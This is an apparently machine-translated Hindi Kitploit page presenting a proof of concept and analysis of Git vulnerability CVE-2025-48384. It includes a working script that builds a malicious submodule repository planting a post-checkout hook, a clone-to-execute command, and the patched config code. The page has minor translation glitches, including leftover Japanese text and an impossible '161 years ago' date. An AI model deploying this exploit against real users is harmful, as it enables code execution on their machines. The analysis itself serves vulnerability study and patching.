Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-48384 — CVE-2025-48384 PoC | Kitploit
उपकरण/GitHubGitHub/ik-20211125/cve-2025-48384
भेद्यता विश्लेषणकोड विश्लेषणशोषणआपूर्ति श्रृंखला सुरक्षालर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubik-20211125/cve-2025-48384

CVE-2025-48384

CVE-2025-48384 PoC

रिपॉजिटरी देखें
161 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-48384 PoC

सावधानियाँ

यह रिपॉजिटरी सुरक्षा शिक्षा के उद्देश्य से बनाई गई है।
कृपया इसका दुरुपयोग न करें।

इस कमजोरी के लिए निर्देशिका नाम में \r शामिल करना आवश्यक है,
इसलिए Linux/Unix प्रणालियाँ प्रभावित होती हैं।

नीचे प्रभावित Git संस्करण दिए गए हैं।

  • v2.43.x श्रृंखला -> v2.43.7 से कम
  • v2.44.x श्रृंखला -> v2.44.4 से कम
  • v2.45.x श्रृंखला -> v2.45.4 से कम
  • v2.46.x श्रृंखला -> v2.46.4 से कम
  • v2.47.x श्रृंखला -> v2.47.3 से कम
  • v2.48.x श्रृंखला -> v2.48.2 से कम
  • v2.49.x श्रृंखला -> v2.49.1 से कम
  • v2.50.x श्रृंखला -> v2.50.1 से कम

Remote परीक्षण के लिए

निम्नलिखित कमांड से इस रिपॉजिटरी को क्लोन करने पर भी RCE सफल होता है।
※ निष्पादित करते समय पर्याप्त सावधानी बरतें।

root@kitploit:~
git clone --recursive https://github.com/IK-20211125/CVE-2025-48384

निम्नलिखित सबमॉड्यूल रिपॉजिटरी के post-checkout में कमांड निष्पादित होता है।

  • IK-20211125/sub
root@kitploit:~
#!/usr/bin/env bash
touch /tmp/CVE-2025-48384

Local परीक्षण के लिए ShellScript

टूल डाउनलोड करें
root@kitploit:~
#!/bin/zsh
git init sub
echo '#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook

git init CVE-2025-48384
git -C CVE-2025-48384 -c protocol.file.allow=always submodule add "$PWD/sub" sub
git -C CVE-2025-48384 mv sub "$(printf "sub\r")"

git config unset -f CVE-2025-48384/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> CVE-2025-48384/.gitmodules

ln -s .git/modules/sub/hooks CVE-2025-48384/sub
git -C CVE-2025-48384 add -A
git -C CVE-2025-48384 commit -m submodule

git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 bad-clone

इसे यहाँ के संदर्भ में बनाया गया है। दो बिंदुओं में बदलाव किया गया है।

  1. zsh के लिए बदलाव
  2. निम्नलिखित हटाया गया
root@kitploit:~
git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config

तकनीकी जांच

RCE क्यों संभव है?

पहले, RCE क्यों संभव होता है, इस बिंदु पर,
यह कमजोरी Git के hooks नामक मानक सुविधा का उपयोग करती है।

hooks को सरल शब्दों में समझाएं तो,
「特定のイベント (コミットなど) が発生した際に、事前に設定したスクリプトを実行できる機能」です。

यह कमजोरी .git के अंदर post-checkout नामक फ़ाइल का उपयोग करती है जो चेकआउट के समय निष्पादित होती है।

हालांकि, यह फ़ाइल मूल रूप से केवल स्थानीय रूप से संभाली जा सकती है, इसलिए केवल GitHub रिपॉजिटरी को क्लोन करने से,
हमलावर स्वाभाविक रूप से हस्तक्षेप नहीं कर सकता।

Git के \r प्रसंस्करण का उपयोग करके इस बिंदु को पार किया जाता है, और स्थानीय रूप से ./.git/modules/sub/hooks/ में एक मनमाना post-checkout फ़ाइल रखकर RCE प्राप्त किया जाता है।


post-checkout को hooks में क्यों रखा जा सकता है?

Git के \r प्रसंस्करण का उपयोग किया जाता है। Git की प्रक्रिया के अनुसार संक्षेप में समझाते हैं।

पहले, git clone --recursive {url} का उपयोग करके GitHub पर रिमोट रिपॉजिटरी को स्थानीय रूप से क्लोन करें।
(--recursive जोड़ने पर सबमॉड्यूल भी एक साथ क्लोन होते हैं।)
उस समय, .gitmodules में path नामक पैरामीटर की निर्देशिका में url के सबमॉड्यूल को विस्तारित किया जाता है।

root@kitploit:~
[submodule "sub"]
	url = https://github.com/IK-20211125/sub.git
	path = "sub"

इस path पैरामीटर की निर्देशिका नाम में निम्नानुसार हेरफेर किया जाता है।

root@kitploit:~
    path = "sub\r"

साथ ही, रिपॉजिटरी के अंदर सबमॉड्यूल निर्देशिका का नाम भी sub\r रखें।

इस प्रकार git clone --recursive करने पर,
.gitmodules में path के अनुसार, sub\r निर्देशिका में url से सबमॉड्यूल को विस्तारित करने का प्रयास किया जाएगा।
(.gitmodules में path में कोई निर्देशिका नहीं है, तो सबमॉड्यूल का विस्तार नहीं होगा。)

हालांकि, Git सबमॉड्यूल के अंतिम विस्तार स्थान को .gitmodules के path मान से संदर्भित नहीं करता है।

अंततः यह .git/modules/sub/config में worktree नामक पैरामीटर को संदर्भित करता है।
यह पैरामीटर .gitmodules के path मान के आधार पर लिखा जाता है।

यह लेखन महत्वपूर्ण है।
path = \"sub\r\" को .git/modules/sub/config में worktree में लिखने पर निम्नलिखित रूप होता है।

root@kitploit:~
[core]
    workdir = ../../../sub\r

महत्वपूर्ण बात यह है कि यह डबल कोट से घिरा नहीं है।

root@kitploit:~
static ssize_t write_pair(int fd, const char *key, const char *value, [...]
{
       [...]

       /*
         * Check to see if the value needs to be surrounded with a dq pair.
         * Note that problematic characters are always backslash-quoted; this
         * check is about not losing leading or trailing SP and strings that
         * follow beginning-of-comment characters (i.e. ';' and '#') by the
         * configuration parser.
         */
        if (value[0] == ' ')
                quote = "\"";
        for (i = 0; value[i]; i++)
                if (value[i] == ';' || value[i] == '#')
                        quote = "\"";
        if (i && value[i - 1] == ' ')
                quote = "\"";

        strbuf_addf(&sb, "\t%s = %s", key + store->baselen + 1, quote);

यदि किसी विशिष्ट स्थान पर स्पेस है,
या कहीं भी ; या # होने पर ही डबल कोट से घिरा होता है,
\r के मामले में यह डबल कोट से घिरा नहीं है।

जब डबल कोट से घिरा नहीं है, तो Git अंत के \r का मूल्यांकन नहीं करता है।

इसलिए, सबमॉड्यूल का विस्तार स्थान ../../../sub हो जाता है।

चूंकि सबमॉड्यूल का नाम sub\r है, इसलिए sub नाम का कोई भी फ़ाइल बनाना संभव है (नाम टकराता नहीं)।

यहां एक सिम्बोलिक लिंक रखा जाता है, और सबमॉड्यूल के विस्तार स्थान को ./.git/modules/sub/hooks/ में बदल दिया जाता है।

root@kitploit:~
sub -> .git/modules/sub/hooks

सबमॉड्यूल के अंदर रखा हमलावर की स्क्रिप्ट फ़ाइल post-checkout,
पीड़ित के स्थानीय ./.git/modules/sub/hooks/ में रखा जा सकता है, और चेकआउट पर निष्पादित हो जाता है।


महत्वपूर्ण बिंदु

यह हमला इस कारण सफल होता है कि Git के अंदर \r का प्रसंस्करण बदल जाता है।

  • जब Git .gitmodules को संदर्भित करता है, तो वह डबल कोट से घिरा होता है, इसलिए \r का मूल्यांकन करता है।
  • जब Git .git/modules/sub/config को संदर्भित करता है, तो वह डबल कोट से घिरा नहीं होता, इसलिए \r का मूल्यांकन नहीं करता है।

सुधार

इस कमजोरी को ठीक करने वाले Git संस्करण में निम्नानुसार बदलाव किया गया है।
(\r शामिल होने पर डबल कोट से घेरने का बदलाव)

root@kitploit:~
	if (value[0] == ' ')
		quote = "\"";
	for (i = 0; value[i]; i++)
		if (value[i] == ';' || value[i] == '#' || value[i] == '\r')
			quote = "\"";
	if (i && value[i - 1] == ' ')
		quote = "\"";

https://github.com/git/git/blob/master/config.c#L2938


समान कमजोरियाँ

एक समान कमजोरी CVE-2024-32002 है।

यह कमजोरी केस-इनसेंसिटिव फ़ाइल सिस्टम (Windows, MacOS आदि) पर,
CVE-2025-48384 के समान सिम्बोलिक लिंक का उपयोग करके हमलावर को githooks में हस्तक्षेप करने की अनुमति देती है।

निम्नलिखित लेख सहायक है।
https://japanese.opswat.com/blog/analyzing-and-remediating-git-vulnerability-cve-2024-32002


संदर्भ

  • https://nvd.nist.gov/vuln/detail/CVE-2025-48384
  • https://github.com/acheong08/CVE-2025-48384/tree/main
  • https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384

※ यदि सामग्री की व्याख्या में कोई त्रुटि है, तो कृपया बताएं।